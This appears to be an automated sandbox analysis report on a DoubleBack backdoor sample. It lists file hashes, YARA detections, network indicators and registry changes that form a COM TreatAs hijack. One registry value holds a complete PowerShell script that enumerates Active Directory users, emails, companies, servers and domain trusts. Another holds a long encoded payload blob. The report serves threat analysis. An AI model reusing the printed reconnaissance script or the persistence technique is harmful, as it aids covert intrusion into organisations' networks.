Analysis
-
max time kernel
92s -
max time network
131s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
03-06-2022 12:15
Static task
static1
Behavioral task
behavioral1
Sample
1127.ps1
Resource
win7-20220414-en
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
1127.ps1
Resource
win10v2004-20220414-en
windows10-2004_x64
0 signatures
0 seconds
Behavioral task
behavioral3
Sample
Scan_660.jpg.lnk
Resource
win7-20220414-en
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral4
Sample
Scan_660.jpg.lnk
Resource
win10v2004-20220414-en
windows10-2004_x64
0 signatures
0 seconds
General
-
Target
1127.ps1
-
Size
144KB
-
MD5
c81a105cc43cfc5cf1235ecd00f13ba2
-
SHA1
24fc2bb78929f8060894c6db3eb59f14bcfc6ccd
-
SHA256
aa165be74685672c97476ffb5f1536bcf23269db4bde4537206b49fd61805d97
-
SHA512
57641cab24cc922012a15ded50c977c6c3813ac5320a93883c33a4364073a1c410d9b3b6924d9f383d4262e244e3876d35624dd2435016820394bd005660d938
Score
10/10
Malware Config
Signatures
-
DoubleBack
DoubleBack is a modular backdoor first seen in December 2020.
-
DoubleBack x64 Payload 4 IoCs
resource yara_rule behavioral2/memory/504-137-0x000001B556420000-0x000001B55642A000-memory.dmp family_doubleback_x64 behavioral2/memory/504-138-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral2/memory/1504-139-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral2/memory/1504-143-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 -
Blocklisted process makes network request 4 IoCs
flow pid Process 11 504 powershell.exe 20 1504 msiexec.exe 21 1504 msiexec.exe 23 1504 msiexec.exe -
Modifies registry class 25 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{090C0D01-0804-0A0C-0E11-09100F0C0A05}\TreatAs\ = "{0005000E-070A-0800-0A07-0C12020B0A0F}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{090C0D01-0804-0A0C-0E11-09100F0C0A05}\ = "{060A0900-030F-1310-0912-00020B080C12}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0005000E-070A-0800-0A07-0C12020B0A0F}\ProgID\ = "{060A0900-030F-1310-0912-00020B080C12}" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000_Classes\CLSID\2674 = "#+ADD\r\nif ($env:USERDOMAIN -eq $env:COMPUTERNAME) { exit }\r\n\r\n\r\n$DebugPreference = 'Continue'\r\n$VerbosePreference = 'Continue'\r\n$InformationPreference = 'Continue'\r\n\r\n\r\n$data = \"ENVSTATS|$env:USERDOMAIN|$ENV:USERDNSDOMAIN|$env:COMPUTERNAME|$env:USERNAME`n\";\r\n\r\n\r\n#if( ($env:USERDOMAIN -ne $env:COMPUTERNAME) -and ($env:USERNAME -NotLike '*$') ) {\r\n#if( $env:USERDOMAIN -ne $env:COMPUTERNAME) {\r\n#if($true) {\r\n $data += \"------------------- Domain detected`n\";\r\n\r\n\r\n $emails = @(); $part1= @(); $part2= @(); $domains= @(); $mostPopularDomainFirst = ''; $mostPopularDomainSecond = ''; $companies = @(); $strCompanies ='';\r\n $domErr = $false;\r\n $errMsg = '';\r\n $days = -90; \r\n try {\r\n $D=[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();\r\n $L='LDAP://'.$D;$D = [ADSI]$L;$Date = $((Get-Date).AddDays($days).ToFileTime());\r\n $i=0; $str = '(&(objectcategory=computer)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntAllMachines = $i;\r\n $i=0; $str = '(&(objectcategory=computer)(operatingSystem=*serv*)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntServers = $i;\r\n $i=0; $str = '(&(objectcategory=person)(objectclass=user)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('mail') > $Null;$s.PropertiesToLoad.Add('userPrincipalName') > $Null;$s.PropertiesToLoad.Add('Company') > $Null;Foreach ($CA in $s.FindAll()){;$emails += $CA.Properties.Item('mail'); $emails += $CA.Properties.Item('userPrincipalName'); $companies += $CA.Properties.Item('Company'); $i++;}; $cntUsers = $i;\r\n\r\n } catch {\r\n $errMsg = \"Error domain: $($_.Exception.Message) , \";\r\n $domErr = $true;\r\n }\r\n\r\n \r\n try {\r\n if($domErr -ne $true) {\r\n \r\n $emails | Select-String -notmatch -pattern 'local' | Select-String -pattern '@' | foreach {\r\n $part1, $part2 = $_.line.split('@');\r\n if($part2.Length -gt 5) { $domains += $part2 };\r\n };\r\n\r\n \r\n $sortedDomains = ($domains | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $domainsCount = ($sortedDomains | Measure-Object).Count;\r\n\r\n if($domainsCount -gt 1) {\r\n $mostPopularDomainFirst = $sortedDomains[0].Name;\r\n $mostPopularDomainSecond = $sortedDomains[1].Name;\r\n } elseif($domainsCount -eq 1) {\r\n $mostPopularDomainFirst = $sortedDomains.Name;\r\n }\r\n\r\n\r\n\r\n \r\n \r\n $sortedCompanies = ($companies | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $companiesCount = ($sortedCompanies | Measure-Object).Count; \r\n $i=1;\r\n if($companiesCount -gt 0) { \r\n #$sortedCompanies | Foreach { $strCompanies += $_.Name + \",\" + $_.Count + \",\"}\r\n foreach ($company in $sortedCompanies){\r\n $strCompanies += $company.Name + \",\" + $company.Count;\r\n \r\n if($i -lt $companiesCount) {\r\n $strCompanies += \",\"\r\n } else {\r\n continue;\r\n }\r\n \r\n $i++;\r\n }\r\n\r\n\r\n $sortedCompaniesStr = $sortedCompanies | Out-String;\r\n $data += \"`n*** Companies:`n $sortedCompaniesStr `n***`n\";\r\n } \r\n\r\n\r\n \r\n \r\n if($sortedDomains.Count -gt 0) {\r\n $sortedDomainsStr = $sortedDomains | Out-String;\r\n $data += \"`n*** Domain emails:`n $sortedDomainsStr `n***`n\"\r\n }\r\n \r\n \r\n\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships();\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships();\r\n $cntTrusts = $trusts.Count;\r\n \r\n if($cntTrusts -gt 0) {\r\n $trustsStr = $trusts | Out-String;\r\n $data += \"`n*** Trusts:`n $trustsStr `n***`n\";\r\n }\r\n }\r\n \r\n } catch {\r\n $errMsg += \"Error parse: $($_.Exception.Message)\";\r\n }\r\n \r\n\r\n\r\n \r\n $data += \"DOMSTATS|$ENV:USERDNSDOMAIN|$ENV:USERDOMAIN|$ENV:COMPUTERNAME|$ENV:USERNAME|$cntAllMachines|$cntServers|$cntTrusts|$cntUsers|$mostPopularDomainFirst|$mostPopularDomainSecond|$strCompanies\";\r\n \r\n if($errMsg.Length -gt 3) {\r\n \t$errMsg = $errMsg.replace(\"`n\",\" \").replace(\"`r\",\" \");\r\n \t$data += \", $errMsg`n\"\r\n }\r\n\r\n $data += \"`n------------------- Domstats End`n\";\r\n \r\n \r\n#}\r\n\r\n#Write-Host WRHOSTDATA $data; #don't work\r\n\r\n$data \r\n\r\n#}\r\n\r\n\r\n#Z/7#.y1#.y1\r\n" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000_Classes\ msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000_Classes\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1127.ps1" powershell.exe Key created \REGISTRY\MACHINE\software\classes\{060A0900-030F-1310-0912-00020B080C12}\CLSID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{060A0900-030F-1310-0912-00020B080C12}\CLSID\ = "{0005000E-070A-0800-0A07-0C12020B0A0F}" powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{090C0D01-0804-0A0C-0E11-09100F0C0A05}\TreatAs powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0005000E-070A-0800-0A07-0C12020B0A0F}\VersionIndependentProgID powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0005000E-070A-0800-0A07-0C12020B0A0F}\ProgID powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{060A0900-030F-1310-0912-00020B080C12} powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{060A0900-030F-1310-0912-00020B080C12}\ = "{060A0900-030F-1310-0912-00020B080C12}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0005000E-070A-0800-0A07-0C12020B0A0F} powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0005000E-070A-0800-0A07-0C12020B0A0F}\VersionIndependentProgID\ = "{060A0900-030F-1310-0912-00020B080C12}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0005000E-070A-0800-0A07-0C12020B0A0F}\LocalServer powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0005000E-070A-0800-0A07-0C12020B0A0F}\VersionIndependentProgID\0A0F = 90287559243234af506d9f32e115b0e5bb25697533bb387a7f60c3bfd8e2dede4ba4c5795d7799017aa79455db0d256108a51dd7a81f28e3d1524147e43ef15dee617a1c34e784996f24b59ff94f17ce12540c67c15612d49a9135a97cbd8d9af4b6ab15d956021bf3bd3bbea4a3aab147239a486a3bccd00d8a3e37b5c84d511835cb3ddb37b77424a7c94d672cf7827a3604ca7c776cc75488316eaa10d765778c62d20ae94282d9873f971eaad22cac044ca5651fb1674768a35a5c062e91a7690cb974099c174b61f59f3fec6355a003dc57b194f760ebb6ea9c1c72609ba4f9ad4c04f59dc69bcb332fecdfb08896539b282af3fd2ed726764b295ac36004be98cb7d2a212268034e0b369e8daf4790648c7d28275fe2bf3351a7a4a80ce2c7440c6d8427f698dd6e81865462d42490dbc5a13cfca928fab390af49749e379639102943111c551302e2948ad9e968031fba20c6aef637a96fbd2b3adb0c989de4d98592fe32f4768c38df8200cac38a52899aff69cf57a6964f70937f7cffd2e29bc3a94f20d37c55504ed1e9de73ed03bee4b6dd7d524c8d33152859093f9b4fe40ca75524da8e18de072e5d9d6d221597a6fa68fb088b6b2d28bf01d58a8aa1a1c29eace353c5f031d5894b3937aad8b8591af68585137de5a5a178b715b668d408b1fc3f5b6ee3036d15361ac99c74719237288a1b33c952ca26bb162e568ac3daccd5ebd67fdaf7d42c79aca3088117a0cef8ef5149642cd93f22bffc896b9778527123caa28ec138e455877b151d4779a5dbac47129597d2fed26b43bc74abff0ad7fa41d5f2b92a044e4f81f0d85649960f4ccc6348946d8a82836c4493257baa35ca8b9a75479d39f6419e65c64582aef303bf91f5aa84c5683d4f43c8055f011746470a306d3fb3fbf5dd27cf9843b2b1716a6e62b4a673395ef01d6faa96550af63ba9a2cf5aa8e326709aac6927c668f63b1fa96dd55597464cbea24cc91337a71b9f6a5af87301d8f5856cbcc9a83b9f97c405d2241c5869eadf0b2e28a135e72430f66537f54fead16be1a3aa6a07daa31b3fd2939f36cb5e9be8d533786dd6a19feaedfd718620043eaea3745d821ff764037c4a6512a689bffdb1f32764cb643449550157fe0989f9cd9b68d922739751f11c35252d4d528aa88d251b53b917fa35a54674e0e4e76a046e1ec7c379836ecceeae8f4aeb208eee777b309dd5b42d20135cde7efb7dfa95c493e637cb3826998ac5ef52c28699766a9dfe0089298ddd7b2dbc9ce5bef00a965bcb8accd66262ba1ea8ef2b4353c72b6474cd49a66064f40f910a2e1b809d2de865380ed7943cc98e4efd8953e25a8b85cc50cdd43bc2c5e660f63bf487d50da093a0d5f5315b189d35abb466bdf21f0cbe3b35a0d832b3f7c669669feae8c163e336c74607f2bd734a1c18236c422fae1821a146ab957cf82f755d83e7cd5ef3805d5d9c7c3875d23e403980f5d629e61e578869020c0fdf6f3c7c06e2213b10d6fe70fce4bc6bf42837d3c089ac7dcf6b8c17eef972e61878d79744822543f5f64877806efa84d56b43a6712fcf0c3633b88e8a1ae62eeab23889b2a167bb56dfa87d5cccc106dc7dc513d0254e80f29087514a6894fed82f9fd14d070efc0f71e7f694970a40718c030164feb158c5082479da36a6e92963d502562dd8fb46c4b55d70c0ba8fdc5411fdd5a91103e50b093726c756429c50ce794f60dc341d8aac73d891f2a4f55da2bb6ef77e1618330b389fc83a0000c55e3a3dbbccf897e5d66c0fbb24e89cef39cb2494e6eb7649a76a70a1a3aff6a25f5042917319435c48eaa6a33f14c79ed50952f00bbee4d8afbccc60031ae99a8e8fec5e537fefd874f163175f6ed0b8f805b753e499645c9f69f4ea8607f500878805ddccd4317dc0b5f14911a1f2770e7c158eee9debe5aff6cf7770d4597abdfd449636bf458547866981af528b084a57c0c6051b04a1ccbeb0b9f203b03eb4de1d8edbb1dcb0d3edbea748959708da5aa1ff4852836dce9ccaa91970d056c859210dee9f8f67fe98752518a9712e74ae3dcea8be3f88ba4e835459536ee4f25848cfa5551f8dfb4acc7ef5c058a51e23b6074a76157d1506c3b0e3f31f9a7c84caaefc97cba45fa18cdf3222d85ca9d7d8096e6e280ef81cec7f8dbc00c4071dea889d6430f16e8c609ef27801cb4c871e41c0fa1c9edadc9faa76dbb14aea89cdeb9f15a6e83aa931c4c34f2136aaad678086c94a0d97d4180268c7b8b7827530c2125480fcf1c0a9c62dbffcc21e6ff7129f30e5c98e12fbe06f05a521eb687a11f783c8be9d4ce5acbec7e3edd374e558d164f0ae567af5162d4295b5040fca64a37fc8291c62f61c5b0ff469cb3b0c0dd14e7d30971e42b72909f39eb07cce191f0c39a70c4ca9e19257ac0c284002f6c46d0cbe758d9e76f35b1489af29329db7a8b86791540b27115462c9c8d86ad2e48c489809c33663135cc6cf0eb6a24920e7d8f0d6399551561dacedeb479adca7044bc851294f736f38421cca1fbbf6a0fb9c030c374118d5aacfe932dd9a9e2f5bed5785c1c0e5df8470510fb08f481e27f9005a7dcbb2f72823adc21f6ab58e93f99fe5b0e021304331fecab7b49dca2e2a37b89034b24d44106c3d6f4809050e5dce191841af1e7e21e49574af2bb4710a094ca84abf9b1e9e9bf3ce7fb1ac004c751263a8c2c33993c86c7fc621f25d8ff33c7eda26d1c676708903496c5ea7509eed4d7c222401ac1e7b38c152d6bc0e020795f345d1b4890cf22b9fee092d34bcfe27d31ef02ada8b5a3365a8d2b0c1d307f241048225e12f87701f1c5eda9764f5e0ca51f17f36e2ca507c8576eea0def83c8775a63f8967ddd31d5c65967adcd0055b0387b0c0b3f7c9bcee254f4c9d4d304e62f69e98e4935ea15f623684a4c93a08de2513dd333de444925942c31943958f6c07b7edb8d95e75c25829017e5d6d65512a4d1635947150c000a0d7c08288aa8befacad9b78f7fe2d8ef831582386c6cdcf546dfe67d3511fd9d7b3c4c95f54be56ccb017f206f0e2bf3a00f268d590e44140cf743487a4a0588f174e5f4b258098c2e96510d70fc2df2671fbae06c635be499962f2cd941b692449a8ab234cb34470c3d35ed46a8ca290e04ada8c6d606a142e913784ced751b10c0644710d469db31c8fa85983a42c46a9de414fbe15aa040b999b3913521c0af73601d6ee177ca60c3d3c27bf312ac9255ee3f18bdcd0f45c78a34bc37487763d29036390e3f8494ce35555bfc578227c56ba8824467aef47aa24fc8669c26d6fb763530bee7184498fdc8f0a8b5fc0dc8137c2291ccf0cc1b92e73519d599f2fd3a0e5993deaba14d72e190e5ed48a847af9ead0cf0e32b22dc43ec75443ac3486b38e68c959cc355b9c58fd12f5cb62074ea2cd5f88054c36ce5b67a020702700efd9f6f99bca4d6aa70a0107fdb3245407014060c9a891da427f8ca580c20f13af0be33cb6e1a0447ddd566f7c927a954918af31a3d53fad8d00efe7c9934abc3e5560041abd1cc15d96aee2b6412a37aaffa8d81273dff9669025e375f2df38a8f4010057c914df0f818a050e6504b616c1bcea6dab62e2a8813a3e98871ebdf668521549a828dc46ded7d4ad61cf3149b9131df502990a9948507d530a9a713ac413bd6bc4bc9c9cc2bec8823080a98ad78d925e3d7e1ffe1e31f57b17135fa3d46fb16e34a8f5b6c60c3854fd261623fb7e98d884c04f1e55769c43fb0520fadbe7eb0177dca632863099596f0c24c902c93f3a2357b35ed604cc8738a301099861af8284d1fbd60e27386d2eb42873116517b21660b76d80bb6b04507e3ba5b5c5272d5e44caadc9322f903e18f003be0d579790f00e7533af8833e4b1a12447d27da775b3cb9a304814e5166e27cf9155c6fc26ea581b069f97f03717b5f3bfc0c4984454fe8a19b78cefbecd20354d01124a24553ec8e5caa79fbed4dc30c61ae565df2a66534ecfa7041a7f23596a4cb26bf89cf49b453e1bf7db7c16b992c1355292dff2bc6936319027fe6b7f260fc7d05666b6ef2fbb51699920a575ecfe3acddb6ee9d362cd3daec0fbe50235c0a75cda5a12fe241bd7d2caa198a3c884eea8b23f52fb640f97db7e8ffde48e52153394e0ff0167ca4bbb3747110f207c87c48981f87cd1a505710ee48f0a5190bcbf63199174fab05f06bd673968d54fda8e6b09335d07ef793fdf1b4aa561c81ae7718aae9f69d6d76ae2ea4a58b6cb2e8fcfa259eb97c107dc812b142f821d5e50dbb3d1857a7a31776b0ce2c52ed5677474588c1c07eb6b3c75918d62421f4b2fc5153a80c7e99c9b4280292c0ad6ade2cd86ef8e6d41c88f5ae69c968e32601302b36d5879c76a4c3543afbf62fac9d7c716b4f225d3cd5d30a6a8eceffaa31ef745ff3752f919990f4faed4ced2df35021af09404453c538b958ede370d16366af04e2496f3a23f487e7a99ee36511827b0d229ae0208e35043131cce45ba9f76e4e3c6ba141208855381ea3bf46fc04f85c2ea74cb432b9e7d0aff0b2823082953170f4ea7c7dcff84a45bc8d1cdc5d6479eeba187a625581986ea89a77832de62106e91fa417d21dc06cac50e03c69b4ac64994f64c4c1507ffa6ca1bbe47dc77b632049ea4cea714f0634083cee989b035a7615ad1db34c5c67534615dee9003714139e23525678e00bd929e891c91522c230aee16f2db2e2e31c0e2021e6337904b1b1b56f1b1626b20f517210314291235bbbf8d8a3a604773778dad0a9d791099064712a23e98361b7057f491f616e06dfd6a01c35c40683e95aafa7c59a6fec1c16313b36fe71fa70073aab41b3509316d5104d2c5f073fd789f12c44ec8cf6d05b0f338e8ae7afd6c994dcd7e33e2f5e6a66b1d0797f3667f566965d20754e8efc8d5365033ed6edf579c69df9e71005ee7ef996b4a5fbdf23ee73f86b1587772134d055c84e9da099b5aecb6146bcdeac7c724a1ae8c97712fba5ada053be9bfa586d6024bb2d766c67fe95a73d831fb1f273a737c7377d774ca022de3f0a120ac2fce66df40f3cbe5208b5b7ab1f930d4d76b3868b5d87fe12577791dff0b08fdf528ce5cdb562802603d08982f12acd778b8ebc25b6081d6c4e0ef7bda3d44ce7e1290c364028d67a9a9188ccf86deb90899930277f92c9731373212a477374040bbb6f15d22d6759e8c7393a973fb4fce0e943c259bdb842fcfc352e464a4c6ecf21fc4316712270f6b0f8b34af87a0c3d1bf52c0d1762d70d556ed103ab4d1920b898aa44b1fd69f3c64e714cd992f0810a7122a08a29618d0726cdf023d752b65b7cded1c32359122927c06cfd841b27490a67ae605508f3536ed808357d3209c7c17c24d63288a985db529afa3890049ee713ed788435a8090e74839cf5adbc774ae9951b1b91263a9bd1e2ab70f7ec932583d1014fc1c5aa7f1eadd6ff40e627dfb11a029684b5c1715bc8863591a2a007dfb4a708248e387892430b23461fbccd41c57dbe9d645a31202414fc3d19f5b929575c58322025ff3a2e1afb69d7262a6dfc213453cb7d2064ca825da2e6b7d07c7bcf428063c0db28777efa2b8a3b4a3e8d7d21b1248619f1c208ba17f5e2ed93fded0833107be52365d69988121bfa531ae01fdb6d56215be23fb9fbbbeee3a2a595150f8d62b058a4ccbc5caecdfaf46c6e7012036e4d9b3ef154f10cff79e37c48cc8082dcfcc712770ca615309690790cbe6f3e5bcc53aa0422f5b3684ba20b7fd4bed0091dbc002211a832f63c78489ea6a9f21e49d83295cdbaf709c2714860c21eddb405035da0bb6f874420d8b88cd17b00fc3d901047d031fc5c61ad475d937ddfca6ca309b106466c0cc65dd77045d9cfa96dfb62680f7840f4cd6fdfbf75d60adee493787b5eed2d8a28f12e6de0f72eeb0ac0dad7f9904c2d7177a82a6c2ffaeffa9625fb19f96f18d931bbeed1f8ccf1c3f7353943c4b78e0de81f353cdc8dd8ab4a0cefd3c66fc6b39116f6505eed10a4005c8284e5020612d47bcf701f4abaaa028ee3dec7df3b803f7e9a0ebd0fe19b754bca85f0f814a82a47c6d06f6403606b53a9232c8ab761a1a7ed7fc9be6691fc578191a6f19dd115d547dfef203c0ce5d76b954084d24ea4333fb123d6e89abb2aa4e93e51ba752965a95c5351b736dee53519488c1e11ab69b1811d371a3bb42e5acba0db3e7e38595addfa9928cbdc2642d051931ebd8d25304a2765b03b24bb23961685b41756b63d914c602a2f4f5acd8a4c59f06fba236d56946d5fca2dfb1a7218fe6d3b779ad7994b002b33583698c6307fe7f8876461fc388694185eda934c8fbf345e4da387928be3e66ad5688dc63d9634e62b50afb9d8a2947e81fa1f04e057606a9a54753b324fd5387609653611c37253107cd189066027402de7e4b6e449d41a7d470f9c0ca3af20db0b0963ebca426f529ccebe0e009ce9febc30c3e7414c803e265838dd92d019e1cbd99461a3e1da44c62226d899abff8d0e533153efb17c7660602ccaf8e6d89d92844088f2b44b2720dfa806124e61f6bad29cbbd04bbaf97913d0ef74133024699c44b0fab79cb3e38a48c57190d9bb50c7eadeea204d84bf6409347a4d26f8607bec69a085644bf2ffe4ae898d878c18e32788be3c210d648dbd38d7969e290de97d0e6226a51757535b96e37183d6e32ac0db45657c95b5e32614b92283c9c39385645aa55f74f5421ae562167902ea1ec6cbdc3ae477d2fb07f6a1950265a25e926946889ad0fce325a93e2e14f4891f609502586af2e6c47ee1c1c0ae18f00464d90c228f4eb58f97792d53c211f0e1c8dd706b7807f1c43dad371d3947ad7c7217e2a501f0e8223584fbbe8c351b91b5810cbe1d072df0d092676e1c562f0aeed628834b0bbf4080ca4c3a551f86b65fbcdb8e3da20616c2cb7606e5f725340fed41928d56590fb9338aae30befed6bd5f5aac13c81c5bb7c7a7a29105bcc931f5131cb37d9e10f938edda92f3fc2701f5dd8343949ac1841f62b34863548dfea956d38e72e18eda49229fd5dcf29e57764f8853b2f6cd85ac53810fd06d6a439048771c97a84cb6551e0de8be76135b6fc83e4af680c431ba37607495f546de1134cf460103772a5a21933568c47896f0276104cc5275e7813704e39fc35925c685bbc2456f08e5f11a1658da33b82be38c86c9c740422505048cc91d45c854612ee2f68d109efa8be0442faee71592df81c62696be18ddc5edc0b9dd0d86cad71e7428dd1a26eb3e47020865996ad85ad98295459ca8d3e1c9d21cb1fcdb44ab01c84337aa8f77416e775c80b3b310a3babec854c91da4913c38e85e6908c8004ec16a98bfb38613c9909498f8f341f56e5928223cfbe7394d207d9e8efcb87c13e1a99e69a27758082120de779a0166086891425ad641d10c750cfcae7b747bf9615de226ad413209ef6220486204237df6d75b6954daf6a945386b96e39377bfd2d4391b1a559d94a3750f56591c04a39c7a04f805517a9cbe13e46b1438676706fe64fc15a29596f0781365cf953ff28bb855e2169201ddc53059c17192f17045d8712a03c0278d8ce8a2705194013fad7f429c0e3202d8ff7bb612f9bfcf5deecf3a45d1ad443068faa47f2388749cb268cf9a6e9ab88ab3c51a09f9f0f6784547dfc4ad4dca72abea3f120a7ed637f66b81bd00deff18b57fe71df58f2afb133f7ee22913e97d0a04569ed8fd466b82a5e07059aa7ca9f1679a3041cb12c7c19e7f2b7a8f10b5367dc81a1a356a53258d3de4a200d182e40280f0e61159e3b2c9e311bf847cc22d50881ad709bf60700001f1839ca3be64ca93be8935951f665288a3724796592fd254218829992b98b3299936efbd6eb89d83ff5e1435cfea350374e48fb1b6b8933d2ad5af0ce20f90e173f1836c70b0112e0e05ecf36234e9879d6db2dfe7fab2dfb614dfc80249a772f30e15b9a7baf0edc9a6df2d3cc1030c119cdab822d6cc140a830cad9efa4165383642f616231812de64dc7e7062f4b353f3ed7e228e08775e865db29c6660e4fee36a7896166cc5ae976fbdac889aaf7ed586d114e3918cbe406d907c6fbecc813b14475a6a90219c202acc8be5c4b371e8440e46b1d20bd1073d0950651a16df51b7b954602c4b60a501731fe4ceb12e14bd496ddc86910afcdb9c2f5a23f96bddf27dedb3735814c7c403c5dc6ce1aa64b42a6e6fafd8cfaf967d9a94973a6eaeded8ff6f0fb0b50afa4a320919351f735ac976d651a5a62eb050e18d65c1eb5fcbbcdf29e09c378eb7dcf0999a4e1e6c56293556f247accbd7ebaafb45f0eaf2f4c91d6435150caaec3de18d844bd1493e5b0ed2977432c0c7c8df226c1a0f7ad5ddd3c35e05d651b3beede6f3dbd7d403cceb718179140b6b511de4ae12fb1f8e649938349c5eb5d2625b4f58a74ebc79256832e90545ce1d0a010df9330dfa4a9fdeb0071e70f9a4b947b0efd17cd4b7152632f0d78b81f9bb5c45f4d3ffc7ad0d9932aef8d41b3859c581bb7497adfbb608166a8c8c01bb9c2383ce0baed0cf0a730bb113265cd2d96b8e317caf9f3244d25bc71b562ca5cc01a6a65711951140e74f5a7740ffd899c5cefd6beeb40ca0dcb0a04ce8ca2887d57d39066095497ece8cc2c78f136c08c80d6103a55de3fb4ccf6beaf98158da4fce459031fde058c6bb37cd7ebfb00954d8d28b8f466fef42b50242651acfa73b731d860b951d2b9b5e72be6a688e90010443650ce47c5a7a6bc956f278a37021f6b12f93bbbd1fc98726d00b85cc7edadd40646037b964a68af8d79e0490041c2f47eb3f54197cbc4b218e5913aa85845d73ab8d6d10560270caa4f2b3026a3e773be9b5007280a6a688442929c573e75ebf62d9fcd3d3fd0d8d50f12947d0ab79a2d4955353e015ea57640a3a4c3903e3439411abc83064329aa3d251e84e798719e35cae508e826bbf7f7db54c8aa74ba940e5f3ab9a587296a89a5d71c438fa7207478fd2f00622f049dc5e6b555245ada813ef88557598243254dba0487cc165ab835f10581ef4900b244fdad104f32874aced6870ea9e6a30eefba2bd01598d12415b2b4803553f4069f2360bc392f636e4b4ea168f1f79f1b183433da0c3b0e7e5125062216295209b0a43d6bcab9a8236af794ff93cfcd71d038f2da32c198966c3cffe1470c85a1b129d61b92ad786a8639b679aec72d530d4a6834e46acd3bf6754228eee9745317e46bddcfa3454ceaad7bbf2f73e0b5b8a40495f5f69e783d87ba4818c8686b2d8198e255f2ebebf631272da8a0c6b4f97ccc89f77e59b793e9938f58b4d6b02c48d9af752a5ed5d7a54f1852bef8b72b55c58e0a7d407f8bf25390a23cce5e98b7f837c4bf2975c5c83a4f916cdc94df1f3bcf5bf5e07f9b201a9b2f762b31f75a524d49b2d923b05a8910cf4fa3531f3207e174a9c01f320d28dc6d5fde55c67e0d6c052f0068dfa2568f223c3a96f0a8c5e5b04cf8ce82319536eefed7b874d2083f605b88cca134cb7a7c024aba3ee78c4d3d973bcbc1849da7f8f4a87a35b257143b93ce817c71c330e00d95784e35f2492081179f45869eb35d9aa901730047cacfd32a164782da09c84da258716f88f4bbe27999b570eb5bdfd16f100de4c122d691692b18c04b4622b9b246f53b7a06f9bbf7229093924b483bd5d6cf3f12b0f232800eb40018ea839fc3c43e090a041782323f3ea7b15e05aab221e91f22f219d5d397f36d19813d36a6e87d63db8a8ebfb0d7bca169df518dbabb8656317499f2b7b90cb2c73ea12d268983dab8e97e4dc2f3a30c4de01229cc3d20692b79d998269446efedfbd0ef6c4e62ad13dddc897619e526a320e5b6bb43ab2eac1c87a5176e10edc174d69606cde4e34cc9e0810620415c0c4478ef86921076bd02aed9310b3c2db0530692d122f1dda4ba40de3111f7141d570ec2b8eb076931c6d576277e6a21bc17cc8af69acb64d3d69b2879e6c30d66974c283aa5aac31babcf38b81a6db6a4781ef5bca8ebc497838e45b3ece1311bacbf05e3b7ca2c0b2957935573bb4a02730268748f8de5668e0867686f9d5e0b75b79667e3f12ab5af4724861c2e0cb6f84c94d5af282cb7807e5b6a6259f5266741b917b82739bf55650ef99bace0f0df5251fd977705c060b883538c038e3c3f742b2a4645984623001364682397dd9cffa00781e73330372511ec2537e7b50355cda8b466aa6d2cfd1eb9dbeb853dab8593d4cbec83a6db697a2038a5610099500633afd4c747fbcceb1b8bad820af25cac77aad5c03ff8d9836755fdb80aa97bfbb645c618c8248ab85a7b259f82f4d992c9127d4cf6546cad14e3022560ffe982796f5684e712fcb94564d6da657d391bf9a6c75aaf232c35ccec36535525c33e6e866b4d0c9184dfbf93c505d61272d75a011de97df8eded92fd0feeba6a0be4ba16122ec5d2e83cea525c6afcbb89a0ab39e7bbfb69cfea856a3fa8a2c31b8cfb6039a539146905f97014225758ac2e62ca9b3c690be9bcb75b2a873002360ad5e5a145ceae7b679ad181b2c5e593f58f1248b7fdc92a9ba3e7e4701575f04d14b15188b0713868c4a608a9809ed08d29a890bc2205eb90f0daeb768c6c56a7e99abd7d2f08f6164b7d028a3daf6723827e9a32a1b96fea2b47ea212b0e38158cf4609b67d9325e062a4b7834427e16c00648346e4068320af14bec7ee78d8cb7edec557f2feb2c038940728816312b1c400a255b3e57390072db7304bd5631d47325366bb8ff7a2df8acb7e11e6af43b2e3210e81a1e78e54e90bc2fee7269f0342f4e40a3e3747da107bab5ac32b373de8056f6dab